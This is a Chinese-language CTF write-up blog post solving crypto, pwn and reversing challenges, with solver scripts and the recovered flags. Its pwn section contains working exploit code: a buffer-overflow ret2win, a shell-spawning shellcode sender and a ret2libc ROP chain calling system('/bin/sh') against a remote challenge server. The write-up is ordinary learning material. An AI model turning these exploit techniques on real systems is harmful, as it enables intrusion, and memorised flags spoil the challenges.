最近没有比赛,拿个国外刚比完的练练手。只是网站太慢了,点任何一处都得等一分钟。而且pwn的远程都开不了。不过pwn过于简单,连本地都没调,当是个pwn概念吧。
Crypto
repeat
题
import os
import secretsflag = "REDACATED"
xor_key = secrets.token_bytes(8)def xor(message, key):return bytes([message[i] ^ key[i % len(key)] for i in range(len(message))])encrypted_flag = xor(flag.encode(), xor_key).hex()with open("flag.enc", "w") as f:f.write("Flag: "+encrypted_flag)
异或加密,根据头得到key再解密
from pwn import xor
a = '982a9290d6d4bf88957586bbdcda8681de33c796c691bb9fde1a83d582c886988375838aead0e8c7dc2bc3d7cd97a4'
b = bytes.fromhex(a)
key = xor(b'uoftctf{', b[:8])
print(xor(b,key))
#b'uoftctf{x0r_iz_r3v3rs1bl3_w17h_kn0wn_p141n73x7}'
Pianoman
题
# no secrets for you!
flag = ...# Prime numbers
p = 151974537061323957822386073908385085419559026351164685426097479266890291010147521691623222013307654711435195917538910433499461592808140930995554881397135856676650008657702221890681556382541341154333619026995004346614954741516470916984007797447848200982844325683748644670322174197570545222141895743221967042369
q = 174984645401233071825665708002522121612485226530706132712010887487642973021704769474826989160974464933559818767568944237124745165979610355867977190192654030573049063822083356316183080709550520634370714336131664619311165756257899116089875225537979520325826655873483634761961805768588413832262117172840398661229
n = p * q# a public exponent hidden away by Windy's musical talents
e = ...# Converting the message to an integer
m = int.from_bytes(message.encode(), 'big')# Encrypting the message: c = m^e mod n
inc_m = pow(message_int, e, n)print(encrypted_message_int)c = 13798492512038760070176175279601263544116956273815547670915057561532348462120753731852024424193899030774938204962799194756105401464136384387458651343975594539877218889319074841918281784494580079814736461158750759327630935335333130007375268812456855987866715978531148043248418247223808114476698088473278808360178546541128684643502788861786419871174570376835894025839847919827231356213726961581598139013383568524808876923469958771740011288404737208217659897319372970291073214528581692244433371304465252501970552162445326313782129351056851978201181794212716520630569898498364053054452320641433167009005762663177324539460
RSA题就差一个e,给了个图
把c的位置当成0,得到e=7029307
long_to_bytes(pow(c, inverse(7029307,(p-1)*(q-1)),p*q))
#b'uoftctf{AT1d2jMCVs03xxalViU9zTyiiV1INNJY}'
Clever Thinking
题
m = 235322474717419
F = GF(m)
C = EllipticCurve(F, [0, 8856682])public_base = (185328074730054:87402695517612:1)Q1 = (184640716867876:45877854358580:1) # my public key
Q2 = (157967230203538:128158547239620:1) # your public keysecret = ...
my_private_key = ...
assert(my_private_key*public_base == Q1)
assert(my_private_key*Q2 == secret)p = 235322474717419
a,b = 0, 8856682
E = EllipticCurve(GF(p), [0, 8856682])G = E(185328074730054,87402695517612)
Q1 = E(184640716867876,45877854358580)
Q2 = E(157967230203538,128158547239620)
椭圆曲线题,这里E.order()==p可以用SmartAttack
#G.order() == p
#SmartAttack
def _lift(E, P, gf):x, y = map(ZZ, P.xy())for point_ in E.lift_x(x, all=True):_, y_ = map(gf, point_.xy())if y == y_:return point_def SmartAttack(G, P):"""Solves the discrete logarithm problem using Smart's attack.More information: Smart N. P., "The discrete logarithm problem on elliptic curves of trace one":param G: the base point:param P: the point multiplication result:return: l such that l * G == P"""E = G.curve()gf = E.base_ring()p = gf.order()assert E.trace_of_frobenius() == 1, f"Curve should have trace of Frobenius = 1."E = EllipticCurve(Qp(p), [int(a) + p * ZZ.random_element(1, p) for a in E.a_invariants()])G = p * _lift(E, G, gf)P = p * _lift(E, P, gf)Gx, Gy = G.xy()Px, Py = P.xy()return int(gf((Px / Py) / (Gx / Gy)))m = SmartAttack(G,Q1)
#127556068971283
print(m*Q2)
#(11278025017971 : 36226806176053 : 1)
#uoftctf{(11278025017971:36226806176053:1)}
Wheel Barrow
题
hc0rhh3r3ylmsrwr___lsewt_03raf_rpetouin$_3tb0_tWheel Barrow
442
A wheelbarrow ran over the flag. Can you fix it?Please wrap the flag in uoftctf{}. Please keep the $ in the flag when submitting.
不会了,看网上的WP到dcode.fr(国内需要梯子,否则通的概率不大)上burrow wheel解密
burr0w_wh33ler_transform_is_pr3tty_c00l_eh$th3_
roftctf{th3_burr0w_wh33ler_transform_is_pr3tty_c00l_eh$}
Export Grade Cipher
只有题,不会也没有WP,这个算法相当复杂呀。
import osclass LFSR:def __init__(self, seed, taps, size):assert seed != 0assert (seed >> size) == 0assert len(taps) > 0 and (size - 1) in tapsself.state = seedself.taps = tapsself.mask = (1 << size) - 1def _shift(self):feedback = 0for tap in self.taps:feedback ^= (self.state >> tap) & 1self.state = ((self.state << 1) | feedback) & self.maskdef next_byte(self):val = self.state & 0xFFfor _ in range(8):self._shift()return valclass ExportGradeCipher:def __init__(self, key):# 40 bit keyassert (key >> 40) == 0self.key = keyself.initialized = Falsedef init_with_nonce(self, nonce):# 256 byte nonce, nonce size isnt export controlled so hopefully this will compensate for the short key sizeassert len(nonce) == 256self.lfsr17 = LFSR((self.key & 0xFFFF) | (1 << 16), [2, 9, 10, 11, 14, 16], 17)self.lfsr32 = LFSR(((self.key >> 16) | 0xAB << 24) & 0xFFFFFFFF, [1, 6, 16, 21, 23, 24, 25, 26, 30, 31], 32)self.S = [i for i in range(256)]# Fisher-Yates shuffle S-tablefor i in range(255, 0, -1): # generate j s.t. 0 <= j <= i, has modulo bias but good luck exploiting thatj = (self.lfsr17.next_byte() ^ self.lfsr32.next_byte()) % (i + 1)self.S[i], self.S[j] = self.S[j], self.S[i]j = 0# use nonce to scramble S-table some morefor i in range(256):j = (j + self.lfsr17.next_byte() ^ self.lfsr32.next_byte() + self.S[i] + nonce[i]) % 256self.S[i], self.S[j] = self.S[j], self.S[i]self.S_inv = [0 for _ in range(256)]for i in range(256):self.S_inv[self.S[i]] = iself.initialized = Truedef _update(self, v):i = self.lfsr17.next_byte() ^ self.lfsr32.next_byte()self.S[v], self.S[i] = self.S[i], self.S[v]self.S_inv[self.S[v]] = vself.S_inv[self.S[i]] = idef encrypt(self, msg):assert self.initializedct = bytes()for v in msg:ct += self.S[v].to_bytes()self._update(v)return ctdef decrypt(self, ct):assert self.initializedmsg = bytes()for v in ct:vo = self.S_inv[v]msg += vo.to_bytes()self._update(vo)return msgif __name__ == "__main__":cipher = ExportGradeCipher(int.from_bytes(os.urandom(5)))nonce = os.urandom(256)print("="*50)print("Cipher Key: {}".format(cipher.key))print("Nonce: {}".format(nonce))msg = "ChatGPT: The Kerckhoffs' Principle, formulated by Auguste Kerckhoffs in the 19th century, is a fundamental concept in cryptography that states that the security of a cryptographic system should not rely on the secrecy of the algorithm, but rather on the secrecy of the key. In other words, a cryptosystem should remain secure even if all the details of the encryption algorithm, except for the key, are publicly known. This principle emphasizes the importance of key management in ensuring the confidentiality and integrity of encrypted data and promotes the development of encryption algorithms that can be openly analyzed and tested by the cryptographic community, making them more robust and trustworthy."print("="*50)print("Plaintext: {}".format(msg))cipher.init_with_nonce(nonce)ct = cipher.encrypt(msg.encode())print("="*50)print("Ciphertext: {}".format(ct))cipher.init_with_nonce(nonce)dec = cipher.decrypt(ct)print("="*50)try:print("Decrypted: {}".format(dec))assert msg.encode() == decexcept:print("Decryption failed")
PWN
basic_overflow
ret2win略,未调试
from pwn import *p = remote('34.123.15.202', 5000)
context(arch='amd64', log_level='debug')p.sendline(b'A'*(64+8)+p64(0x401136))p.sendline(b"cat flag")
p.interactive()
baby-shellcode
ret2text略,未调试
from pwn import *context(arch='amd64', log_level='debug')
p = process('baby-shellcode')p.send(asm(shellcraft.sh()))
p.interactive()
patched-shell
与第1题完全一样,没有远程原因不详
nothing-to-return
ret2啥?略,未调试
from pwn import *libc = ELF('./libc.so.6')
elf = ELF('./nothing-to-return')
p = remote('34.123.15.202', 5000)
context(arch='amd64', log_level='debug')p.recvuntil(b"printf is at ")
libc.address = int(p.recvline(),16) - libc.sym['printf']
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x0000000000028265 # pop rdi ; retpay = b'A'*(64+8)+flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh')), libc.sym['system'])
p.sendlineafter(b'Input size:\n', str(len(pay)+1).encode())
p.sendline(pay)p.sendline(b"cat /flag")
p.interactive()
REV
CSS Password
一个css的题,打开网页是19个字节每个8位,当选正确后会显示绿标。
通过样式表可以判断
1,.byte:nth-child(1)是第1个字符
2,.latch:nth-child(7)是第1个字符的第7位
3,.latch__reset:active 这一位是置位还是清位
4,transform: translateX(-100%); -100是有效,0是无效
/* LED1 *//* b1_7_l1_c1 */.wrapper:has(.byte:nth-child(1) .latch:nth-child(7) .latch__reset:active) .checker:nth-of-type(2) .checker__state:nth-child(1) {transform: translateX(0%);transition: transform 0s;}.wrapper:has(.byte:nth-child(1) .latch:nth-child(7) .latch__set:active) .checker:nth-of-type(2) .checker__state:nth-child(1) {transform: translateX(-100%);transition: transform 0s;}/* b1_8_l1_c2 */.wrapper:has(.byte:nth-child(1) .latch:nth-child(8) .latch__reset:active) .checker:nth-of-type(2) .checker__state:nth-child(2) {transform: translateX(0%);transition: transform 0s;}.wrapper:has(.byte:nth-child(1) .latch:nth-child(8) .latch__set:active) .checker:nth-of-type(2) .checker__state:nth-child(2) {transform: translateX(-100%);transition: transform 0s;}
用re过滤一下,似乎python的re.findall感觉不如php的preg_match_all方便。
import re msg = open('css-password.html').read()
pat = re.compile(r'\.byte:nth-child\((\d+)\) \.latch:nth-child\((\d+)\) .latch__([rest]{3,5}):active\) \.checker:nth-of-type\(\d+\) \.checker__state:nth-child\(\d+\) {\n transform: translateX\((-100|0)%\);', re.M|re.S|re.I)
res = pat.findall(msg)
#print(res)
flag = ['0']*(19*8)
for i in res:if i[3]=='-100':if i[2] == 'set':flag[(int(i[0])-1)*8+int(i[1])-1]='1'
print(flag)
print(bytes([int(''.join(flag[i*8:(i+1)*8]), 2) for i in range(19)]))
<?php
$msg = file_get_contents("./css-password.html");
$res = preg_match_all('|\.byte:nth-child\((\d+)\) \.latch:nth-child\((\d+)\) \.latch__(.*):active.*translateX\(([-01]+)%\);|Ums', $msg, $reg);
#print_r($reg);
$key = [];for($i=0;$i<19*8;$i++)$key[i]='0';
foreach($reg[0] as $i=>$v){print($i." ".$reg[1][$i].' '.$reg[2][$i]." ".$reg[3][$i]." ".$reg[4][$i]."\n");if($reg[4][$i] == '-100')$key[($reg[1][$i]-1)*8 + $reg[2][$i]-1]=($reg[3][$i] == 'set')?'1':'0';
}
$flag = '';
for($i=0;$i<19*8;$i++)$flag.=$key[$i];
echo $flag."\n";
$f2 = '';
for($i=0;$i<19;$i++)$f2.=chr(bindec(substr($flag,$i*8,8)));
echo $f2."\n";
?>
All Worbled Up
python的字节码,手翻一下
def worble(s):s1 = 5s2 = 31for n in range(len(s)):s1 = (s1+ord(s[n])+7)%65521s2 = s1*s2%65521return (s2<<16)|s1def shmorble(s): #不动r = ''for i in range(len(s)):r += s[i-len(s)]return r def blorble(a,b):return format(a,'x')+format(b,'x')pattern = re.compile('^uoftctf\\{([bdrw013]){9}\\}$')
a = worble(flag)
b = worble(flag[::-1])
shmorble(blorble(a,b)) == 'a81c0750d48f0750'
7个字符repeat9,题很小直接爆破
import itertools
for i in itertools.product('bdrw013', repeat=9):s = ''.join(i)if worble(s) == 0xa81c0750:print(s)from pwn import iters
found = iters.bruteforce(lambda x: worble('uoftctf{'+x+'}') == 0xa81c0750 and worble(('uoftctf{'+x+'}')[::-1]) == 0xd48f0750, 'bdrw013',9)#'uoftctf{d3w0rb13d}'
Random Maze
int __cdecl main(int argc, const char **argv, const char **envp)
{int i; // [rsp+Ch] [rbp-14h]char v5[8]; // [rsp+10h] [rbp-10h] BYREFunsigned __int64 v6; // [rsp+18h] [rbp-8h]v6 = __readfsqword(0x28u);puts("can you solve the maze? :3");printf("choose ur path >> ");__isoc99_scanf("%lx", v5);puts("running your path! hope this works:");path = (__int64)v5;for ( i = 0; i <= 7; ++i ){if ( (*(_BYTE *)(path + i) & 3) == 0|| *(_BYTE *)(path + i) == 3 * (*(char *)(path + i) / 3)|| *(char *)(path + i) > 100|| *(char *)(path + i) <= 19 ) // [20,100] %4!=0 %3!=0{oops(); // exit}traverse(i);}return 0;
}
__int64 __fastcall traverse(int a1)
{__int64 result; // raxif ( (*(_BYTE *)(path + a1) & 1) != 0 )cur = *(void **)cur;elsecur = (void *)*((_QWORD *)cur + 1);flag[a1] ^= *(_BYTE *)(path + a1);if ( a1 ){if ( flag[a1] + flag[a1 - 1] != sums[a1 - 1] )oops();result = *((_QWORD *)cur + 2);if ( result )return (*((__int64 (**)(void))cur + 2))();}else{result = check_prime(flag[0]);if ( !(_BYTE)result )oops(); // exit}return result;
}
给了一个加密的flag要求输入path在与flag异或后进行检查。
1,path范围[19,100],且不能被3,4整除
2,异或后第1个字节是素数
3,异或以后相邻的和为sums
4,path的尾位符合level的指针,这个指针可以手数一共8位+1时表示0,+0时表示1最后到达profit
可以根据第2条得到8个数,然后再根据第3条爆破,1和4处理起来比较麻烦,但通过2以后只有4个值,都出来手选更方便
for v in 'Ymaq':tflag = vfor i in range(7):tflag += chr(sums[i]-ord(tflag[-1]))#if all([1 if ord(tflag[i])^flag[i] in tab else 0 for i in range(8)]):print(tflag)#uoftctf{am4z31ng}
也可以全译爆破
tab = [i for i in range(20,101) if i%4!=0 and i%3 != 0]
#[22, 23, 25, 26, 29, 31, 34, 35, 37, 38, 41, 43, 46, 47, 49, 50, 53, 55, 58, 59, 61, 62, 65, 67, 70, 71, 73, 74, 77, 79, 82, 83, 85, 86, 89, 91, 94, 95, 97, 98]flag = b'ON#X~o8&'
sums = [0xCE, 0xA1, 0xAE, 0xAD, 0x64, 0x9F, 0xD5]#flag[i]^=path[i]
#flag[i]^flag[i-1] == sums[i-1]
a = [i for i in tab if isPrime(i^flag[0])]
'''
maze+1 ->l1 -> l2 -> l3+1 -> l4 -> l5+1 -> l6+1 -> l7 -> l8+2 ->profit
加1为0,不加为1
'''
path_lsb = [int(i) for i in '01101001']def get_v(i, tail):if i>=8:print(tail)return if i==0:for tp in tab:if tp&1 == path_lsb[i] and isPrime(flag[0]^tp):get_v(i+1, bytes([flag[i]^tp]))else:for tp in tab:if tp&1 == path_lsb[i] and tail[-1]+(flag[i]^tp) == sums[i-1]:get_v(i+1, tail+bytes([flag[i]^tp]))get_v(0,b'')
CEO's Lost Password
jar文件没看懂
Love Debug
全是代码,非常长,只能在最后删数据前下断点,再在内存里找(都是两字节的字符\x00A这样)
在0x405603下断点,看内存中残留值
x/80s 0x406133
uoftctf{r3CuR51v3LY_3nuM3r4Bl3_R1zZ}